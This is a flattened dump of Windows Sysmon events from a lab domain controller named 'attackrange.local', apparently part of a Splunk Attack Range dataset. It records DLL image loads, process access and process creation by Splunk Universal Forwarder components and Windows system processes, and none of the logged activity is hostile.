Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000057076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000057071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000057070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000057069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000057068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000057067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000057064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000057059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.890{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000057052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.624{7BD73061-751D-613B-B00B-00000000F001}47122896C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.624{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.624{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000057049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.295{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.295{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft 